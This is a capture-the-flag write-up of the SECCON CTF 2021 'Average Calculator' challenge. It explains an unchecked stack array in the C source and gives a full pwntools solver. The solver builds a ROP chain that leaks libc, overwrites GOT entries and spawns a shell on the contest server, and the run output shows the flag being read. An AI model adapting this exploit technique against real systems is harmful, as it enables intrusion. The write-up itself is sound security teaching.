# Average Calculator (pwnable, 56 teams solved) ###### tags: `SECCON CTF 2021` ## Overview This problem is a simple stack buffer overflow challenge but requires a bit of ingenuity. The binary calculates an average of input numbers. ``` $ ./average n: 5 A[0]: 1 A[1]: 2 A[2]: 3 A[3]: 4 A[4]: 5 Average = 3 ``` Source code: ```c= #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { long long n, i; long long A[16]; long long sum, average; alarm(60); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); printf("n: "); if (scanf("%lld", &n)!=1) exit(0); for (i=0; i<n; i++) { printf("A[%lld]: ", i); if (scanf("%lld", &A[i])!=1) exit(0); // prevent integer overflow in summation if (A[i]<-123456789LL || 123456789LL<A[i]) { printf("too large\n"); exit(0); } } sum = 0; for (i=0; i<n; i++) sum += A[i]; average = (sum+n/2)/n; printf("Average = %lld\n", average); } ``` ## Vulnerability The vulnerability of the binary is obvious. There is no boundary check when assigning input numbers to `A`. So, we can make stack buffer overflow. The only difference from regular stack buffer overflow challenges is that the range of values that can be written is restricted to between -123456789 (0xfffffffff8a432eb) and 123456789 (0x75bcd15). This range means that we can write an address of the binary (since compiled without PIE) but not libc's one. ## Solution Although leaking libc's addresses is not affected by the restriction, we cannot call `system("/bin/sh")` or one-gadget RCE by return oriented programming (ROP). Let us adopt [GOT overwrite](https://blog.pwntools.com/posts/got-overwrite/). Arbitrary 64-bit value can be written to arbitrary address of the binary by calling `scanf("%lld")` in ROP. By writing the address of `system` to GOT and calling the corresponding PLT, we can call `system`. Since variables `i` and `n` are located after `A`, we have to take care to keep their original value while overwriting. ```python= from pwn import * # pwntools elf = ELF("average") context.binary = elf s = remote("average.quals.seccon.jp", 1234) # Since pwn.ROP inserts large values, manually ROP :( pop_rsi_r15 = 0x4013a1 pop_rdi = 0x4013a3 nop = 0x4013a4 payload = ([0]*16 + [ 0, # n 0, # average 0, # sum 19, # i 0, # rbp # puts(puts) pop_rdi, elf.got.puts, elf.plt.puts, # scanf("%lld", alarm) pop_rdi, next(elf.search(b"%lld")), pop_rsi_r15, elf.got.alarm, 0, nop, elf.plt.__isoc99_scanf, # scanf("%lld", setvbuf) pop_rdi, next(elf.search(b"%lld")), pop_rsi_r15, elf.got.setvbuf, 0, elf.plt.__isoc99_scanf, # alarm(setvbuf) = system("/bin/sh") pop_rdi, elf.got.setvbuf, nop, elf.plt.alarm, ]) payload[16] = len(payload) # n s.sendlineafter(b"n: ", str(len(payload)).encode()) for p in payload: s.sendlineafter(b": ", str(p).encode()) s.readline() # Average = ??? puts = int.from_bytes(s.readline()[:-1], "little") libc = ELF("libc.so.6") libc.address = puts - libc.symbols.puts s.sendline(str(libc.symbols.system).encode()) s.sendline(str(unpack(b"/bin/sh\0")).encode()) s.interactive() ``` ``` $ python3 solver.py [*] '/seccon_2021/average/average' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to average.quals.seccon.jp on port 1234: Done [*] '/seccon_2021/average/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Switching to interactive mode $ ls -al total 36 drwxr-xr-x 1 root average 4096 Dec 9 20:21 . drwxr-xr-x 1 root root 4096 Dec 9 20:21 .. -r-xr-x--- 1 root average 16944 Dec 9 20:20 average -r-xr-x--- 1 root average 37 Dec 9 20:20 average.sh -r--r----- 1 root average 68 Dec 9 20:20 flag.txt $ cat flag.txt SECCON{M4k3_My_4bi1i7i3s_4v3r4g3_in_7h3_N3x7_Lif3_cpwWz9jpoCmKYBvf} ``` `SECCON{M4k3_My_4bi1i7i3s_4v3r4g3_in_7h3_N3x7_Lif3_cpwWz9jpoCmKYBvf}` ## Appendix If you feel this challenge is too easy, try FullRELRO version. @moratorium08, a tester for this challenge, have solved even with FullRELRO enabled. You can get the FullRELRO version by: ``` $ gcc -Wl,-z,relro,-z,now -fno-stack-protector -no-pie -fcf-protection=none average.c -o average_fullrelro ```